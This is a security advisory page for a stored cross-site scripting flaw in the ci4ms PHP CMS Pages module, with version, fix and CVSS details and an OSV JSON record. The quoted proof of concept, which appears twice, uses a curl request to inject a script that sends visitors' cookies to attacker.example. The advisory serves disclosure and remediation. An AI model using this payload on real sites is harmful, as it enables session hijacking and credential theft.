CVE-2026-39392: Ci4 cms erp/ci4ms Cross-Site Scripting Vulnerability

MODERATE
Advisory Identifier: GHSA-fjpj-6qcq-6pw2
CVSS 5.5
CWE-79
Published
Advisory Summary

CVE-2026-39392 is a MODERATE (CVSS 5.5) cross-site scripting vulnerability (CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')) affecting Ci4 cms erp/ci4ms libraries in the Packagist ecosystem. The issue involves ci4ms has stored xss in pages content due to missing html_purify sanitization. Remediation is available by upgrading affected packages to version 0.31.4.0.

CVE-2026-39392 at a Glance

CVE Identifier CVE-2026-39392
GHSA Identifier GHSA-fjpj-6qcq-6pw2
Severity MODERATE
CVSS v3.1 Base Score 5.5
CWE Classification CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Affected Product Ci4 cms erp/ci4ms
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 5.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required High (PR:H)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality Low (C:L)
Integrity Low (I:L)
Availability None (A:N)

How to Fix CVE-2026-39392

To remediate this vulnerability, upgrade all affected Ci4 cms erp/ci4ms dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

ci4-cms-erp/ci4ms fixed: 0.31.4.0
Upgrade ci4-cms-erp/ci4ms to 0.31.4.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for ci4-cms-erp/ci4ms

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-39392, inspect your project dependencies for Ci4 cms erp/ci4ms:

inspect dependencies for ci4-cms-erp/ci4ms

Analyze the terminal output to locate any version of Ci4 cms erp/ci4ms in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.31.4.0), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), where the product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. In Ci4 cms erp/ci4ms, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary The Pages module does not apply the `html_purify` validation rule to content fields during create and update operations, while the Blog module does. Page content is stored unsanitized in the database and rendered as raw HTML on the public frontend via `echo $pageInfo->content`. An authenticated admin with page-editing privileges can inject arbitrary JavaScript that executes in the browser of every public visitor viewing the page. ## Details The Blog module correctly applies HTMLPurifier sanitization to content fields: **`modules/Blog/Controllers/Blog.php:82`** ```php 'lang.*.content' => ['label' => lang('Backend.content'), 'rules' => 'required|html_purify'], ``` The Pages module omits this rule in both create and update methods: **`modules/Pages/Controllers/Pages.php:82`** (create) ```php 'lang.*.content' => ['label' => lang('Backend.content'), 'rules' => 'required'], ``` **`modules/Pages/Controllers/Pages.php:130`** (update) ```php 'lang.*.content' => ['label' => lang('Backend.content'), 'rules' => 'required'], ``` Content is stored directly without sanitization: **`modules/Pages/Controllers/Pages.php:111`** (create path) ```php 'content' => $lData['content'], ``` **`modules/Pages/Controllers/Pages.php:157`** (update path) ```php 'content' => $lData['content'], ``` On the public frontend, the content is rendered as raw HTML without escaping: **`app/Views/templates/default/pages.php:32`** ```php <?php echo $pageInfo->content ?> ``` Note that the same template correctly escapes the title field on line 9 using `esc($pageInfo->title)`, further confirming the content output is an oversight. The `html_purify` custom validation rule is defined in `modules/Backend/Validation/CustomRules.php:54-73` and uses the HTMLPurifier library to strip dangerous HTML (script tags, event handlers) while preserving safe rich content. Its absence from the Pages validation is the root cause. ## PoC **Step 1: Create a page with XSS payload (requires admin session)** ```bash curl -X POST https://target/backend/pages/create \ -b 'ci_session=ADMIN_SESSION_COOKIE' \ -H 'Content-Type: application/x-www-form-urlencoded' \ -d 'lang[tr][title]=Test+Page&lang[tr][seflink]=test-xss-page&lang[tr][content]=<p>Normal+content</p><script>document.location="https://attacker.example/?c="%2Bdocument.cookie</script>&isActive=1' ``` **Step 2: Visit the page as any unauthenticated user** ``` https://target/tr/test-xss-page ``` **Expected result:** The `<script>` tag executes in the visitor's browser, sending their cookies to the attacker-controlled server. ## Impact - **Session hijacking:** Attacker steals session cookies of any visitor, including other administrators - **Credential theft:** Injected JavaScript can render fake login forms or keylog credentials - **Site defacement:** Arbitrary HTML/JS can modify the public-facing page for all visitors - **Malware distribution:** Injected scripts can redirect visitors or load external payloads The attack requires admin-level authentication (PR:H), but the impact crosses the security boundary to affect all unauthenticated public visitors (S:C). In a multi-admin CMS environment, a lower-privileged admin with only page-editing permissions could compromise higher-privileged admin sessions. ## Recommended Fix Add the `html_purify` validation rule to both the create and update methods in the Pages controller, consistent with the Blog module: **`modules/Pages/Controllers/Pages.php:82`** — change: ```php 'lang.*.content' => ['label' => lang('Backend.content'), 'rules' => 'required'], ``` to: ```php 'lang.*.content' => ['label' => lang('Backend.content'), 'rules' => 'required|html_purify'], ``` **`modules/Pages/Controllers/Pages.php:130`** — apply the same change: ```php 'lang.*.content' => ['label' => lang('Backend.content'), 'rules' => 'required|html_purify'], ``` Additionally, as defense-in-depth, escape content output in the view template or use the existing `esc()` helper with the `'raw'` context for trusted HTML, ensuring HTMLPurifier has already processed it before storage.

CVE-2026-39392 Affected Ci4 cms erp/ci4ms Versions

1 component(s)
Fixed Versions:
0.31.4.0
Product / Package Ecosystem Affected Versions Fixed Version
ci4-cms-erp/ci4ms
Packagist
< 0.31.4.0
0.31.4.0

References

Frequently Asked Questions

What is CVE-2026-39392?
CVE-2026-39392 is a security vulnerability in Ci4 cms erp/ci4ms involving CI4MS has stored XSS in Pages Content Due to Missing html_purify Sanitization under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').
Which Ci4 cms erp/ci4ms versions are affected?
Affected versions include releases prior to 0.31.4.0 across affected packages: ci4-cms-erp/ci4ms.
What version fixes CVE-2026-39392?
Upgrading to 0.31.4.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is ci4-cms-erp/ci4ms affected?
Yes, ci4-cms-erp/ci4ms is affected in releases prior to 0.31.4.0. Upgrade your dependency to 0.31.4.0 or later.
What is the CVSS score of CVE-2026-39392?
CVE-2026-39392 has a CVSS v3.1 base score of 5.5 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N.
What CWE is associated with CVE-2026-39392?
CVE-2026-39392 is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.).
How can I check Packagist dependencies for CVE-2026-39392?
Run the dependency tree command: 'inspect dependencies for ci4-cms-erp/ci4ms'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-fjpj-6qcq-6pw2",
  "modified" : "2026-04-08T19:15:42Z",
  "published" : "2026-04-08T19:15:42Z",
  "aliases" : [ "CVE-2026-39392" ],
  "summary" : "CI4MS has stored XSS in Pages Content Due to Missing html_purify Sanitization",
  "details" : "## Summary\n\nThe Pages module does not apply the `html_purify` validation rule to content fields during create and update operations, while the Blog module does. Page content is stored unsanitized in the database and rendered as raw HTML on the public frontend via `echo $pageInfo->content`. An authenticated admin with page-editing privileges can inject arbitrary JavaScript that executes in the browser of every public visitor viewing the page.\n\n## Details\n\nThe Blog module correctly applies HTMLPurifier sanitization to content fields:\n\n**`modules/Blog/Controllers/Blog.php:82`**\n```php\n'lang.*.content' => ['label' => lang('Backend.content'), 'rules' => 'required|html_purify'],\n```\n\nThe Pages module omits this rule in both create and update methods:\n\n**`modules/Pages/Controllers/Pages.php:82`** (create)\n```php\n'lang.*.content' => ['label' => lang('Backend.content'), 'rules' => 'required'],\n```\n\n**`modules/Pages/Controllers/Pages.php:130`** (update)\n```php\n'lang.*.content' => ['label' => lang('Backend.content'), 'rules' => 'required'],\n```\n\nContent is stored directly without sanitization:\n\n**`modules/Pages/Controllers/Pages.php:111`** (create path)\n```php\n'content' => $lData['content'],\n```\n\n**`modules/Pages/Controllers/Pages.php:157`** (update path)\n```php\n'content' => $lData['content'],\n```\n\nOn the public frontend, the content is rendered as raw HTML without escaping:\n\n**`app/Views/templates/default/pages.php:32`**\n```php\n<?php echo $pageInfo->content ?>\n```\n\nNote that the same template correctly escapes the title field on line 9 using `esc($pageInfo->title)`, further confirming the content output is an oversight.\n\nThe `html_purify` custom validation rule is defined in `modules/Backend/Validation/CustomRules.php:54-73` and uses the HTMLPurifier library to strip dangerous HTML (script tags, event handlers) while preserving safe rich content. Its absence from the Pages validation is the root cause.\n\n## PoC\n\n**Step 1: Create a page with XSS payload (requires admin session)**\n```bash\ncurl -X POST https://target/backend/pages/create \\\n  -b 'ci_session=ADMIN_SESSION_COOKIE' \\\n  -H 'Content-Type: application/x-www-form-urlencoded' \\\n  -d 'lang[tr][title]=Test+Page&lang[tr][seflink]=test-xss-page&lang[tr][content]=<p>Normal+content</p><script>document.location=\"https://attacker.example/?c=\"%2Bdocument.cookie</script>&isActive=1'\n```\n\n**Step 2: Visit the page as any unauthenticated user**\n```\nhttps://target/tr/test-xss-page\n```\n\n**Expected result:** The `<script>` tag executes in the visitor's browser, sending their cookies to the attacker-controlled server.\n\n## Impact\n\n- **Session hijacking:** Attacker steals session cookies of any visitor, including other administrators\n- **Credential theft:** Injected JavaScript can render fake login forms or keylog credentials\n- **Site defacement:** Arbitrary HTML/JS can modify the public-facing page for all visitors\n- **Malware distribution:** Injected scripts can redirect visitors or load external payloads\n\nThe attack requires admin-level authentication (PR:H), but the impact crosses the security boundary to affect all unauthenticated public visitors (S:C). In a multi-admin CMS environment, a lower-privileged admin with only page-editing permissions could compromise higher-privileged admin sessions.\n\n## Recommended Fix\n\nAdd the `html_purify` validation rule to both the create and update methods in the Pages controller, consistent with the Blog module:\n\n**`modules/Pages/Controllers/Pages.php:82`** — change:\n```php\n'lang.*.content' => ['label' => lang('Backend.content'), 'rules' => 'required'],\n```\nto:\n```php\n'lang.*.content' => ['label' => lang('Backend.content'), 'rules' => 'required|html_purify'],\n```\n\n**`modules/Pages/Controllers/Pages.php:130`** — apply the same change:\n```php\n'lang.*.content' => ['label' => lang('Backend.content'), 'rules' => 'required|html_purify'],\n```\n\nAdditionally, as defense-in-depth, escape content output in the view template or use the existing `esc()` helper with the `'raw'` context for trusted HTML, ensuring HTMLPurifier has already processed it before storage.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "ci4-cms-erp/ci4ms"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.31.4.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 0.31.3.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-fjpj-6qcq-6pw2"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-39392"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/ci4-cms-erp/ci4ms"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/ci4-cms-erp/ci4ms/releases/tag/0.31.4.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-79" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-08T19:15:42Z",
    "nvd_published_at" : "2026-04-08T15:16:14Z"
  }
}